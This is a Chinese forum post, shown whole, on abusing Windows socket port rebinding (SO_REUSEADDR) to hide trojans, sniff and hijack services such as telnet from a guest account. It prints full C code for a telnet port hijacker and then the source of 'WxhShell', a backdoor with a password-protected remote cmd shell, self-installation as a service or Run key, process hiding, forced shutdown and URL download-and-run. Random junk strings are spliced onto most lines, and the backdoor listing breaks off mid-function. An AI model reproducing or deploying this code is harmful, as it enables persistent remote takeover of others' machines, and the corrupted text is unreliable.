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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 68z#9}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {%3WHGr%L  
*:H,-@  
  saddr.sin_family = AF_INET; jz<}9Kze  
dnLjcHFj&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 90}vFoy  
s@{82}f~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zeg'\&w0s  
ysOf=~ 1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [nxYfER7  
~JT2el2W7p  
  这意味着什么?意味着可以进行如下的攻击: 8~O#@hB~3  
I]eeV+U8W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x >ah,  
{nmu(E P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G{: B'08  
$Xwk8<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _\d|`3RM  
@FIL4sb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #[M^Q h  
ywp_,j9F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,Sgo_bC/|  
d=bK NA90  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Oz%6y ri  
?-c|c_|$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I+ |uyc  
"J,|),Yd  
  #include ouCh2Y/_  
  #include =Lkn   
  #include 1K3XNHF  
  #include    /)TeG]Xg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b<y*:(:  
  int main() y?UJ <QAi  
  { E}4{{{r  
  WORD wVersionRequested; 0 8L;u7u  
  DWORD ret; #D_Ti%.^}  
  WSADATA wsaData; N>3{!K>/Y:  
  BOOL val; "&SE!3*m`I  
  SOCKADDR_IN saddr; sP^:*B0  
  SOCKADDR_IN scaddr; >e!J(4.-  
  int err; /b # w.>e  
  SOCKET s; wm#(\dj  
  SOCKET sc; fwt+$`n  
  int caddsize; #tZ!D^GQHq  
  HANDLE mt; Z]Xa:[  
  DWORD tid;   di_UJ~  
  wVersionRequested = MAKEWORD( 2, 2 ); |rJN  
  err = WSAStartup( wVersionRequested, &wsaData ); 7a9">:~  
  if ( err != 0 ) {  Fw[1Aa#  
  printf("error!WSAStartup failed!\n"); CX/[L)|Ru  
  return -1; Ydsnu  
  } L$c 1<7LU  
  saddr.sin_family = AF_INET; 9HR1m 3  
   3q/"4D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EUt2 S_2P  
S".|j$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qDG x (d  
  saddr.sin_port = htons(23); br88b`L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r^.9 |YM5  
  {  ^4WZ%J#g  
  printf("error!socket failed!\n"); Ke^/aGi}O  
  return -1; I[Bp}6G  
  } O~8jz  
  val = TRUE; )X#$G?|Hn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RoHX0   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wIRU!lIF9  
  { fR;[??NH  
  printf("error!setsockopt failed!\n"); w@WtW8 p^  
  return -1; |o eg'T  
  } IH*G7;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zLr:zfl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 umPN=0u6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ld:-S,2  
&gV9h>Kc#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Q+O#l?  
  { hHMp=8J7  
  ret=GetLastError(); h{yh}04P1  
  printf("error!bind failed!\n"); *@lVesC2  
  return -1; @?tR-L<u  
  } (Z@- e^R  
  listen(s,2); %[*_-%  
  while(1) l-IA Q!d  
  { Tw/7P~*  
  caddsize = sizeof(scaddr); }5" Rj<  
  //接受连接请求 #?M[Q:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p/ZgzHyF  
  if(sc!=INVALID_SOCKET) sn[<Lq  
  { QWm g#2'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J'#o6Ud  
  if(mt==NULL) Tpnwwx[]:|  
  { )MN6\v  
  printf("Thread Creat Failed!\n"); pTQ7woj}  
  break; !Y^B{bh  
  } Ey&A\  
  } OpOR!  
  CloseHandle(mt); z2.OR,R}]  
  } jxw8jo06:  
  closesocket(s); nm|"9|/  
  WSACleanup(); 5?#AS#TD'  
  return 0; q|B.@Ng.  
  }   U&+lw=  
  DWORD WINAPI ClientThread(LPVOID lpParam) -k,}LJjo  
  { k~Y_%#_  
  SOCKET ss = (SOCKET)lpParam; ;M#D*<ucI:  
  SOCKET sc; >\Iy <M  
  unsigned char buf[4096]; @`sZV8  
  SOCKADDR_IN saddr; & AlX).  
  long num; 8h7z  
  DWORD val; `_&7-;)i*\  
  DWORD ret; ur`:wR] 2?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (}n,Ou[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {wp"zaa  
  saddr.sin_family = AF_INET; h3Z0NJ=xM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); du4Q^-repC  
  saddr.sin_port = htons(23); {oN7I'>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }M9L,O*^   
  { t.oP]_mI  
  printf("error!socket failed!\n"); Rm!Iv&{  
  return -1; U_c.Z{lC4  
  } VDq?,4Kb  
  val = 100; Gv w:h9v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  OL|UOG  
  { d^WEfH  
  ret = GetLastError(); [SJ*ks,]  
  return -1; f#UT~/~bL2  
  } {` Lem  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cvvba 60  
  { `PR)7}/<  
  ret = GetLastError(); aJ1<X8  
  return -1; n089tt=TE  
  } (1(dL_?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3Vl?;~ :5  
  { jn9KQe\3  
  printf("error!socket connect failed!\n");  *w538Vb  
  closesocket(sc); a$SGFA}V  
  closesocket(ss); Yvu!Q  
  return -1; fWywegh  
  } 0x\bDWZ_  
  while(1) @<O Bt d  
  { u<l[S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wo@0yF@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o'Byuct  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2\M^ _x$N  
  num = recv(ss,buf,4096,0); aoh"<I%]>4  
  if(num>0) \ueo^p]_?  
  send(sc,buf,num,0); pAo5c4y!4  
  else if(num==0) c} GH|i  
  break; Eh)PZvH  
  num = recv(sc,buf,4096,0); c3&;Y0SD  
  if(num>0) E}d@0C:  
  send(ss,buf,num,0); {re<S<j&  
  else if(num==0) lV-b   
  break; `r:n[N=Y&  
  } {f\/2k3  
  closesocket(ss); kqfO3{-;{:  
  closesocket(sc); [wJM=` !W  
  return 0 ; f\}fUg 2  
  } $]eITyC`P  
Gvk)H$ni  
QQUYWC  
========================================================== /[iqga=  
Quy&CV{@  
下边附上一个代码,,WXhSHELL |Fk>NX  
w]hs1vch  
========================================================== Ccld;c&+  
ndn)}Z!0h  
#include "stdafx.h" -lL(:drn  
8[Ssrk  
#include <stdio.h> B\,pbOE?#  
#include <string.h> 9@LL_r`?<  
#include <windows.h> zU;%s<(p  
#include <winsock2.h> %- W3F5NK  
#include <winsvc.h> "/e:V-W   
#include <urlmon.h> x t7ZrT  
/G`'9cD  
#pragma comment (lib, "Ws2_32.lib") 3,2|8Q,((!  
#pragma comment (lib, "urlmon.lib") E({W`b~_f  
< `r+ZyM  
#define MAX_USER   100 // 最大客户端连接数 =ILE/ pC-|  
#define BUF_SOCK   200 // sock buffer *"\QR>n   
#define KEY_BUFF   255 // 输入 buffer ]uN}n;`12  
r%*,pN7O  
#define REBOOT     0   // 重启 uz6S7I  
#define SHUTDOWN   1   // 关机 S: IhJQ4K  
qU(,q/l  
#define DEF_PORT   5000 // 监听端口 3xSt -MA  
nm)H\i  
#define REG_LEN     16   // 注册表键长度 ]o18oY(  
#define SVC_LEN     80   // NT服务名长度 LD]a!eY  
slC 38  
// 从dll定义API tONX<rA|]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p.1@4kgK&r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a\60QlAk~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \&K{v#g ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B|9)4f&\=R  
KTr7z^  
// wxhshell配置信息 ?/Bp8q(  
struct WSCFG { )N4!zuSVf  
  int ws_port;         // 监听端口 ?RyeZKf  
  char ws_passstr[REG_LEN]; // 口令 z ;>xI~  
  int ws_autoins;       // 安装标记, 1=yes 0=no hXBAs*4DV8  
  char ws_regname[REG_LEN]; // 注册表键名 i^SuVca  
  char ws_svcname[REG_LEN]; // 服务名 V*X6 <}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J?]wA1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:<mq5[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M3m!u[6|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HjCWsQM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )k)HQcfjD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }HB>Zb5  
P%VEJ5,]b  
}; kj_MzgC'?  
6# [  
// default Wxhshell configuration =lB +GS%  
struct WSCFG wscfg={DEF_PORT, 0,b.;r  
    "xuhuanlingzhe", rC`pTN  
    1, ;gS)o#v0  
    "Wxhshell", muh[wo  
    "Wxhshell", +rAmy  
            "WxhShell Service", eh\_;2P  
    "Wrsky Windows CmdShell Service", +,7nsWV  
    "Please Input Your Password: ", %.k~L  
  1, in-|",O`Z  
  "http://www.wrsky.com/wxhshell.exe", } Xbmb8  
  "Wxhshell.exe" 6pJFrWe{  
    }; RT+pB{Y  
#`Af  
// 消息定义模块 JWZG)I]r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C K#^`w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bwrM%BL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %y96]e1  
char *msg_ws_ext="\n\rExit."; (G1KMy  
char *msg_ws_end="\n\rQuit."; C{{RU7iqc&  
char *msg_ws_boot="\n\rReboot..."; =Msr+P9Ai  
char *msg_ws_poff="\n\rShutdown..."; Q$Q>pV;uH  
char *msg_ws_down="\n\rSave to "; `!,"">5  
KgD sqwy  
char *msg_ws_err="\n\rErr!"; [ TX1\*W  
char *msg_ws_ok="\n\rOK!"; -!@]z2uU  
ke2zxX2 f  
char ExeFile[MAX_PATH]; ,xSNTOJ  
int nUser = 0; Dj9 v9  
HANDLE handles[MAX_USER]; @\*`rl]  
int OsIsNt; hwx1fpo4  
'c7'iDM  
SERVICE_STATUS       serviceStatus; CMhl*dH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %I^schE*  
4h*c{do  
// 函数声明 3<XP/c";  
int Install(void); XY`{F.2h  
int Uninstall(void); $~3?nib"j  
int DownloadFile(char *sURL, SOCKET wsh); ;S_Imf0$v  
int Boot(int flag); YD9|2S!G  
void HideProc(void); O#_\@f#[  
int GetOsVer(void); po! [Nd&"  
int Wxhshell(SOCKET wsl); */_$' /q V  
void TalkWithClient(void *cs); /KTWBcs 7  
int CmdShell(SOCKET sock); `uwSxt  
int StartFromService(void); 2tw3 =)  
int StartWxhshell(LPSTR lpCmdLine); X :#}E7]j  
-<6b[YA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M!`&Z9N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n-he|u  
Gh5 3 Pne  
// 数据结构和表定义 cy64xR BB  
SERVICE_TABLE_ENTRY DispatchTable[] = H2S/!Q;K  
{ []-<-TqJ  
{wscfg.ws_svcname, NTServiceMain}, u0Bz]Ux/Q  
{NULL, NULL} )%JjV(:  
}; t`- [  
Eo`'6 3  
// 自我安装 dDbH+kqO  
int Install(void) D!DL6l`  
{ v t_lM  
  char svExeFile[MAX_PATH]; =B{B ?B"r  
  HKEY key; _<6E>"*m  
  strcpy(svExeFile,ExeFile); v =_Ds<6n  
m;J'y2h =$  
// 如果是win9x系统,修改注册表设为自启动 84lT# ^q  
if(!OsIsNt) { Sa-" G`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2"QcjFW%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {(IHHA>  
  RegCloseKey(key); ^v&"{2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2c'<rkA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3k.xP?QS  
  RegCloseKey(key); U UhlKV|5  
  return 0; gg.lajX  
    } {wl7&25  
  } Jz]OWb *  
} X"V)oC  
else { *^iSP(dg  
><C9PS@  
// 如果是NT以上系统,安装为系统服务 w!b;.l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b%h.>ij?  
if (schSCManager!=0) (~NR."s;  
{ /&E]qc*-p  
  SC_HANDLE schService = CreateService _&M^}||UH  
  ( ub2B!6f a  
  schSCManager, t:P]G>)x|  
  wscfg.ws_svcname, g^{a;=  
  wscfg.ws_svcdisp, On(.(7sNc  
  SERVICE_ALL_ACCESS, XaaR>HljJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $k+XH+1CW  
  SERVICE_AUTO_START, 1*f/Y9 Z  
  SERVICE_ERROR_NORMAL, mMT\"bb'  
  svExeFile, ltv ~Kh  
  NULL, gX`C76P!  
  NULL, / <+F/R'=O  
  NULL, JH#p;7;  
  NULL, RJ-J/NhWyI  
  NULL ";upu  
  ); ./<giTR:p  
  if (schService!=0) wauM|/KG  
  { h(i_'P?  
  CloseServiceHandle(schService); s~A:*2\  
  CloseServiceHandle(schSCManager); +1K= ]#a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ($!g= 7  
  strcat(svExeFile,wscfg.ws_svcname); J&L#^f*d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EL6<%~,V"I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U^Iq]L  
  RegCloseKey(key);  `ghNS  
  return 0; ItE)h[86  
    } (e32oP"  
  } WHr:M/qD  
  CloseServiceHandle(schSCManager); !,~C  
} } : T }N]  
} 5*O]`Q7  
u&'&E   
return 1; ]sqp^tQ`e  
} [9Hrpo]tU:  
w ; PV &M  
// 自我卸载 zX8{(  
int Uninstall(void) ~2UmX'  
{ } <q=Zq+  
  HKEY key; j?(@x>HA  
lgC^32y  
if(!OsIsNt) { 5 HN,y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Hr)h{!F"  
  RegDeleteValue(key,wscfg.ws_regname); ! H4uc  
  RegCloseKey(key); S/6I9zOP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XRn+6fn|  
  RegDeleteValue(key,wscfg.ws_regname); a61?G!]  
  RegCloseKey(key); Q[bIkvr|  
  return 0; |99Z& <8f  
  } 84gj%tw'-  
} u]<`y6=&C  
} )J&!>GP  
else { {#l@9r%  
?Q6ZZQ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }9?fb[]  
if (schSCManager!=0) .-: 6L2  
{ pXe]hnY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *4 Kc "M  
  if (schService!=0) QezDm^<  
  { !e0/1 j=  
  if(DeleteService(schService)!=0) { L/:u  
  CloseServiceHandle(schService); 7P D D  
  CloseServiceHandle(schSCManager); ^j'vM\^`ml  
  return 0; tUs{/Je  
  } [~ |e:  
  CloseServiceHandle(schService); gR{.0e  
  } q?oJ=]m"  
  CloseServiceHandle(schSCManager); 7 P]Sc   
} +e) RT<  
} dYhLk2  
mWU*}-M  
return 1; :w4I+* ]  
} z|G 39  
m}nA- *  
// 从指定url下载文件 ] I0(_e|z}  
int DownloadFile(char *sURL, SOCKET wsh) +isaqfy/  
{ ]TKM.[[  
  HRESULT hr; k N$L8U8f  
char seps[]= "/"; ,lw<dB@7"5  
char *token; XJf1LGT5  
char *file; }UHoa  
char myURL[MAX_PATH]; B9h>  
char myFILE[MAX_PATH];   S?m4  
.:jfNp~jt  
strcpy(myURL,sURL); hH@pA:`s  
  token=strtok(myURL,seps); W$Zc;KRz$0  
  while(token!=NULL) evHKq}{  
  { o8S)8_3  
    file=token; cx(b5Z  
  token=strtok(NULL,seps); pi?U|&.1z  
  } zf^F.wW  
Yim`3>#t  
GetCurrentDirectory(MAX_PATH,myFILE); '^.}5be&  
strcat(myFILE, "\\"); (#k2S-5  
strcat(myFILE, file); NYZI;P1DA  
  send(wsh,myFILE,strlen(myFILE),0); S#, E)h/  
send(wsh,"...",3,0); }!g^}BWWp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *G0r4Ui$  
  if(hr==S_OK) )*3sE1  
return 0; ^!>o5Y)  
else gL;tyf1P  
return 1; WD5ulm?91|  
GPnSdGLC  
} zos#B30  
;}gS8I|  
// 系统电源模块 K-*q3oh G  
int Boot(int flag) rhe;j//`  
{ c\pPwG  
  HANDLE hToken; H@xIAL  
  TOKEN_PRIVILEGES tkp; g:nU&-x#R  
G|Y9F|.!  
  if(OsIsNt) { - '5OX/Szq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /.aDQ>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &D~70N\L  
    tkp.PrivilegeCount = 1; ,*@6NK,.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <U]#722  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7|Tu@0XXA  
if(flag==REBOOT) { o$DJL11E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oLp:Z=  
  return 0; _*Z2</5  
} 1JoRP~mMxa  
else { #5x[Z[m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N;6WfdA-  
  return 0; H A(e  
} Lqv5"r7eV  
  } ]n:)W.|`R  
  else { r:Xui-  
if(flag==REBOOT) { L?n*b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <ctn_"p Z  
  return 0; }Ik{tUS$  
} >_$DKY>$`  
else { nn_j"Nu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #ab=]}2W_g  
  return 0; Mb(aI!;A  
} N5=; PZub  
} O5Xu(q5+  
{^#62Y  
return 1; x1kb]0s<-  
} DN@T4!  
$Y4;Xe=  
// win9x进程隐藏模块 )5j%."  
void HideProc(void) mSzBNvc i  
{ f9g#pyH4  
$Q|t^(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QpPJ99B|  
  if ( hKernel != NULL ) p|M  8ww  
  { b!ZXQn3X<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ODH@ /  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n(b(H`1n  
    FreeLibrary(hKernel); ##!) }i  
  } YQ _3[[xT  
cFoDR  
return; ^V~r S8]gj  
} ?1('s0s\,  
<Dw`Ur^X5  
// 获取操作系统版本 !RnO{FL  
int GetOsVer(void) \gL H_$}  
{ 3~4e\xL  
  OSVERSIONINFO winfo; & ;+u.X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5B? >.4R  
  GetVersionEx(&winfo); gC#PqK~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xh\{ dUPA  
  return 1; Y$ ;C@I  
  else ']+-u{+#  
  return 0; 1Q6WpS  
} e1X*}OI  
z1ltc{~Z  
// 客户端句柄模块 }06  
int Wxhshell(SOCKET wsl) (@dh"=Lt\  
{ vvLm9Tw  
  SOCKET wsh; "| <\\HR  
  struct sockaddr_in client; _gB`;zo  
  DWORD myID; lu(<(t,Lbs  
/}Y>_8 7  
  while(nUser<MAX_USER) Mrp'wF D  
{ |Q^Z I  
  int nSize=sizeof(client); 3Bz0B a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O edL?4  
  if(wsh==INVALID_SOCKET) return 1; tH<v1LEZN  
ZgLO[Bj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E {d Mdz  
if(handles[nUser]==0) oQ 5g0(J~  
  closesocket(wsh); iZQwo3"8r  
else ](vsh gp2  
  nUser++; Z xLjh  
  } %,GY&hTw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SU9#Y|I  
Pn5@7~  
  return 0; lC +p2OG^[  
} <w}k9(Ds  
SM5i3EcFYP  
// 关闭 socket S?%V o* Y  
void CloseIt(SOCKET wsh) j[yGfDb  
{ b1jh2pG(V  
closesocket(wsh); SHPaSq'&N  
nUser--; ]YZ+/:#U7  
ExitThread(0); rB|D^@mG  
} 28-6(oG  
cU5x8[2  
// 客户端请求句柄 V# |#% 8  
void TalkWithClient(void *cs) jcN84AaRFI  
{ MwL' H<  
{!xPq%  
  SOCKET wsh=(SOCKET)cs; cn=~}T@~Z  
  char pwd[SVC_LEN]; ,:QG%Et  
  char cmd[KEY_BUFF]; nbw&+dcJ8  
char chr[1]; y%=\E  
int i,j; bmc1S  
ZvpcjP  
  while (nUser < MAX_USER) { v98=#k!F  
2S&e!d-  
if(wscfg.ws_passstr) { JC(rSs*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XpdDIKMmE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u01 'f-h  
  //ZeroMemory(pwd,KEY_BUFF); C$vKRg\o  
      i=0; ^&zwO7cS  
  while(i<SVC_LEN) { `ky< *  
NEa :  
  // 设置超时 h=.|!u  
  fd_set FdRead; .mn`/4  
  struct timeval TimeOut; AV Gu*  
  FD_ZERO(&FdRead); PBbJfm  
  FD_SET(wsh,&FdRead); %%`Nq&'  
  TimeOut.tv_sec=8; <{bQl L  
  TimeOut.tv_usec=0;  U":hJ*F)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SG_^Rd9 D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +D[|L1{xb  
"CLoM\M)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 15+>W4v  
  pwd=chr[0]; 'A;G[(SYy  
  if(chr[0]==0xd || chr[0]==0xa) { K#rfQ0QK/!  
  pwd=0; j5,1`7\7B  
  break; (9% ki$=}+  
  } Q1jU{  
  i++; )uC],CbW{  
    } k"\%x =#  
T$T:~8tK3  
  // 如果是非法用户,关闭 socket GL[#XB>n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4z#{nZG  
} 3sIW4Cs7)U  
MGze IrV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); usH9dys,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GmP)"@O](;  
Zt4g G KG  
while(1) { 3I&=1o  
?%% 'GX  
  ZeroMemory(cmd,KEY_BUFF); }IO<Dq=[  
Se<]g$eK?5  
      // 自动支持客户端 telnet标准   jWJq[l  
  j=0; l*>t@:2J  
  while(j<KEY_BUFF) { 'KB\K)cD=3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6zh<PETa03  
  cmd[j]=chr[0]; lffp\v{w  
  if(chr[0]==0xa || chr[0]==0xd) { Hy ^E m  
  cmd[j]=0; XK??5'&{  
  break; <_$]!Z6UR  
  } 0T7(c-  
  j++; TG7Ba[%  
    } yI/2 e[  
9pUvw_9MY  
  // 下载文件 ~\kJir  
  if(strstr(cmd,"http://")) { 7ksh%eV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rCfr&>nn  
  if(DownloadFile(cmd,wsh)) Lh3>xZy"-z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9zSHn.y  
  else DP\s-JpI[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !+T\}1f7d  
  } #[0:5$-[  
  else { t\~lGG-p  
i)9}+M 5  
    switch(cmd[0]) { ;,P-2\V/  
  arJ4^  d  
  // 帮助 :MeshzWK  
  case '?': { D FDC'E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u$ [R>l9  
    break; sqTBlP  
  } ASmMj;>UM  
  // 安装 ?#; oqH<  
  case 'i': { >2h|$6iWP  
    if(Install()) GslUN% UJr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dv=y,q@W  
    else 7pMl:\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h4rIt3`  
    break; U |I>CDp  
    } 2WQKj9iyN  
  // 卸载 - s[=$pDU  
  case 'r': { W}m-5L  
    if(Uninstall()) V.zKjoky@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~^d. zIN!  
    else fxfzi{}uj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #qkokV6`  
    break; H.-jBFt}  
    } Y[%1?CREP  
  // 显示 wxhshell 所在路径 AA][}lU:5  
  case 'p': { tHNvb\MR$  
    char svExeFile[MAX_PATH]; eduaG,+k7p  
    strcpy(svExeFile,"\n\r"); |GuIp8~  
      strcat(svExeFile,ExeFile); OLXkiesK{  
        send(wsh,svExeFile,strlen(svExeFile),0); d:/8P985  
    break; fw>@:m_bK  
    } YnnpgR.  
  // 重启 A ?"(5da.  
  case 'b': { q6A!xQs<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wMy$T<:   
    if(Boot(REBOOT)) a<X8l^Ln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RjS;Ck@;  
    else { H /Idc,*  
    closesocket(wsh); IV{,'+hT  
    ExitThread(0); y*2R#jTA  
    } /dTy%hZC}  
    break; @$FE}j_  
    } |1^>n,C  
  // 关机 _^4\z*x  
  case 'd': {  >)ZX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x_9<&Aj6  
